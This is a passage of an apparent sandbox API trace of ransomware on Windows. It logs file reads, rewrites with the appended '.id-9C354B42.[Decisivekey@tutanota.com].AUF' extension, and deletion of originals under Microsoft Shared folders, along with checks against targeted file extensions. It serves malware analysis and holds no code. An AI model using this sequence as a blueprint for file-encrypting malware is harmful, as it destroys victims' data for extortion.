lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0224.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0224.090] lstrlenW (lpString=".jpg") returned 4 [0224.090] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0224.090] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.090] lstrlenW (lpString="FPLACE.DLL") returned 10 [0224.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0224.090] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=181120) returned 1 [0224.091] CloseHandle (hObject=0x168) returned 1 [0224.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0224.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0224.091] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.091] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0224.091] GetLastError () returned 0x0 [0224.091] ReadFile (in: hFile=0x168, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x2c380, lpOverlapped=0x0) returned 1 [0224.197] WriteFile (in: hFile=0x224, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x2c390, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x2c390, lpOverlapped=0x0) returned 1 [0224.216] ReadFile (in: hFile=0x168, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.216] WriteFile (in: hFile=0x224, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0224.216] SetEndOfFile (hFile=0x224) returned 1 [0224.216] CloseHandle (hObject=0x224) returned 1 [0224.216] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.216] SetEndOfFile (hFile=0x168) returned 1 [0224.218] CloseHandle (hObject=0x168) returned 1 [0224.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.218] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString=".doc") returned 4 [0224.219] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".docx") returned 5 [0224.219] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0224.219] lstrlenW (lpString=".pdf") returned 4 [0224.219] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".xls") returned 4 [0224.219] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".xlsx") returned 5 [0224.219] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0224.219] lstrlenW (lpString=".ppt") returned 4 [0224.219] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString=".zip") returned 4 [0224.219] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".rar") returned 4 [0224.219] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".bz2") returned 4 [0224.219] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.219] lstrlenW (lpString=".7z") returned 3 [0224.219] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString=".dbf") returned 4 [0224.219] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString=".1cd") returned 4 [0224.219] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString=".jpg") returned 4 [0224.219] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString=".doc") returned 4 [0224.219] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".docx") returned 5 [0224.219] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0224.219] lstrlenW (lpString=".pdf") returned 4 [0224.219] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".xls") returned 4 [0224.219] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString=".xlsx") returned 5 [0224.219] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0224.219] lstrlenW (lpString=".ppt") returned 4 [0224.219] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.219] lstrlenW (lpString=".zip") returned 4 [0224.220] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.220] lstrlenW (lpString=".rar") returned 4 [0224.220] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.220] lstrlenW (lpString=".bz2") returned 4 [0224.220] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.220] lstrlenW (lpString=".7z") returned 3 [0224.220] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.220] lstrlenW (lpString=".dbf") returned 4 [0224.220] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.220] lstrlenW (lpString=".1cd") returned 4 [0224.220] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned 67 [0224.220] lstrlenW (lpString=".jpg") returned 4 [0224.220] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.220] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0224.220] lstrlenW (lpString="IETAG.DLL") returned 9 [0224.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0224.225] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=234880) returned 1 [0224.225] CloseHandle (hObject=0x168) returned 1 [0224.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0224.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0224.226] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.226] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0224.226] GetLastError () returned 0x0 [0224.226] ReadFile (in: hFile=0x168, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x39580, lpOverlapped=0x0) returned 1 [0224.492] WriteFile (in: hFile=0x224, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x39590, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x39590, lpOverlapped=0x0) returned 1 [0224.495] ReadFile (in: hFile=0x168, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.495] WriteFile (in: hFile=0x224, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0224.495] SetEndOfFile (hFile=0x224) returned 1 [0224.495] CloseHandle (hObject=0x224) returned 1 [0224.495] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.495] SetEndOfFile (hFile=0x168) returned 1 [0224.497] CloseHandle (hObject=0x168) returned 1 [0224.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.497] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 1 [0224.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.689] lstrlenW (lpString=".doc") returned 4 [0224.689] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.689] lstrlenW (lpString=".docx") returned 5 [0224.689] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0224.689] lstrlenW (lpString=".pdf") returned 4 [0224.689] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.689] lstrlenW (lpString=".xls") returned 4 [0224.689] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".xlsx") returned 5 [0224.690] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0224.690] lstrlenW (lpString=".ppt") returned 4 [0224.690] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.690] lstrlenW (lpString=".zip") returned 4 [0224.690] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".rar") returned 4 [0224.690] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".bz2") returned 4 [0224.690] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.690] lstrlenW (lpString=".7z") returned 3 [0224.690] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.690] lstrlenW (lpString=".dbf") returned 4 [0224.690] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.690] lstrlenW (lpString=".1cd") returned 4 [0224.690] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.690] lstrlenW (lpString=".jpg") returned 4 [0224.690] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.690] lstrlenW (lpString=".doc") returned 4 [0224.690] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".docx") returned 5 [0224.690] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0224.690] lstrlenW (lpString=".pdf") returned 4 [0224.690] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".xls") returned 4 [0224.690] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".xlsx") returned 5 [0224.690] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0224.690] lstrlenW (lpString=".ppt") returned 4 [0224.690] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.690] lstrlenW (lpString=".zip") returned 4 [0224.690] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".rar") returned 4 [0224.690] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0224.690] lstrlenW (lpString=".bz2") returned 4 [0224.691] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0224.691] lstrlenW (lpString=".7z") returned 3 [0224.691] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0224.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.691] lstrlenW (lpString=".dbf") returned 4 [0224.691] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0224.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.691] lstrlenW (lpString=".1cd") returned 4 [0224.691] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0224.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0224.691] lstrlenW (lpString=".jpg") returned 4 [0224.691] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0224.691] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0224.691] lstrlenW (lpString="SmartTagInstall.exe") returned 19 [0224.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.402] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=15744) returned 1 [0225.402] CloseHandle (hObject=0x228) returned 1 [0225.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 0x20 [0225.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.402] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.402] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0225.403] GetLastError () returned 0x0 [0225.403] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x3d80, lpOverlapped=0x0) returned 1 [0225.477] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x3d90, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x3d90, lpOverlapped=0x0) returned 1 [0225.478] ReadFile (in: hFile=0x228, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.478] WriteFile (in: hFile=0x200, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0225.478] SetEndOfFile (hFile=0x200) returned 1 [0225.520] CloseHandle (hObject=0x200) returned 1 [0225.520] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.520] SetEndOfFile (hFile=0x228) returned 1 [0225.522] CloseHandle (hObject=0x228) returned 1 [0225.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.522] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\smarttaginstall.exe")) returned 1 [0225.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.522] lstrlenW (lpString=".doc") returned 4 [0225.522] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.522] lstrlenW (lpString=".docx") returned 5 [0225.522] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0225.522] lstrlenW (lpString=".pdf") returned 4 [0225.522] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.522] lstrlenW (lpString=".xls") returned 4 [0225.522] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.522] lstrlenW (lpString=".xlsx") returned 5 [0225.522] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0225.522] lstrlenW (lpString=".ppt") returned 4 [0225.522] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.522] lstrlenW (lpString=".zip") returned 4 [0225.522] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.522] lstrlenW (lpString=".rar") returned 4 [0225.522] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.522] lstrlenW (lpString=".bz2") returned 4 [0225.522] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.522] lstrlenW (lpString=".7z") returned 3 [0225.522] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.522] lstrlenW (lpString=".dbf") returned 4 [0225.523] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString=".1cd") returned 4 [0225.523] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString=".jpg") returned 4 [0225.523] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString=".doc") returned 4 [0225.523] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0225.523] lstrlenW (lpString=".docx") returned 5 [0225.523] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0225.523] lstrlenW (lpString=".pdf") returned 4 [0225.523] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0225.523] lstrlenW (lpString=".xls") returned 4 [0225.523] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0225.523] lstrlenW (lpString=".xlsx") returned 5 [0225.523] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0225.523] lstrlenW (lpString=".ppt") returned 4 [0225.523] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString=".zip") returned 4 [0225.523] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0225.523] lstrlenW (lpString=".rar") returned 4 [0225.523] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0225.523] lstrlenW (lpString=".bz2") returned 4 [0225.523] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0225.523] lstrlenW (lpString=".7z") returned 3 [0225.523] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString=".dbf") returned 4 [0225.523] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString=".1cd") returned 4 [0225.523] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0225.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe") returned 76 [0225.523] lstrlenW (lpString=".jpg") returned 4 [0225.523] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0225.523] lstrcmpiW (lpString1=".ELM", lpString2=".AUF") returned 1 [0225.523] lstrlenW (lpString="BLENDS.ELM") returned 10 [0225.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 